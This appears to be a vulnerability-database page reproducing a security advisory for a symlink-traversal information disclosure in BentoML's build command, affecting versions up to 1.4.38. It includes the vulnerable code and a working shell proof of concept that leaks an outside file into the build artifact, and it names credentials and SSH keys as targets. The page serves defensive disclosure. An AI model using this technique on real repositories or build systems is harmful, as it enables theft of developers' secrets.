CVE-2026-40610: BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
Summary BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt - /tmp/outside-marker.txt or a link to a more sensitive local file.
Published May 7, 2026 · Updated Jun 8, 2026
Affected packages
bentoml
- Ecosystem
- PyPI
- Affected
- <= 1.4.38
- Fixed in
- 1.4.39
- Check
pip show bentoml
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.
If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.
Details
The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:
for root, _, files in os.walk(ctx_path):
for f in files:
dir_path = os.path.relpath(root, ctx_path)
path = os.path.join(dir_path, f).replace(os.sep, "/")
if specs.includes(path):
src_file = ctx_path.joinpath(path)
dst_file = target_fs.joinpath(dest_path)
shutil.copy(src_file, dst_file)There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.
This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.
PoC
The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.
mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc
printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt
cat > service.py <<'EOF'
import bentoml
@bentoml.service
class Demo:
@bentoml.api
def ping(self, x: str) -> str:
return x
EOF
cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
- "service.py"
- "loot.txt"
EOF
ln -s /tmp/outside-marker.txt loot.txt
bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip
mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;- The script creates
/tmp/outside-marker.txtoutside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes
loot.txtinbentofile.yaml. - It creates
loot.txtas a symlink to the external marker file.
- It runs
bentoml build, exports the generated Bento, unzips it, and reads the packagedsrc/loot.txt. - Successful exploitation is confirmed when the packaged file contains
BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.
Impact
An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.
This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
Credited to larlarua.
References
- https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv
- https://nvd.nist.gov/vuln/detail/CVE-2026-40610
- https://github.com/bentoml/BentoML/commit/5fb7cd41f92e2a56b45391284cf15b9ac9963a1f
- https://github.com/bentoml/BentoML/releases/tag/v1.4.39
- https://github.com/advisories/GHSA-mcfx-4vc6-qgxv
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More BentoML vulnerabilities
All BentoML entriesCVE-2026-44345
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
high8.8May 11, 2026CVE-2026-44346
Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)
high8.8May 11, 2026CVE-2026-35043
BentoML: Command Injection in cloud deployment setup script
high7.8Apr 3, 2026CVE-2026-35044
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
high8.8Apr 3, 2026CVE-2026-33744
BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
high7.8Mar 26, 2026CVE-2026-27905
BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
high8.6Mar 3, 2026
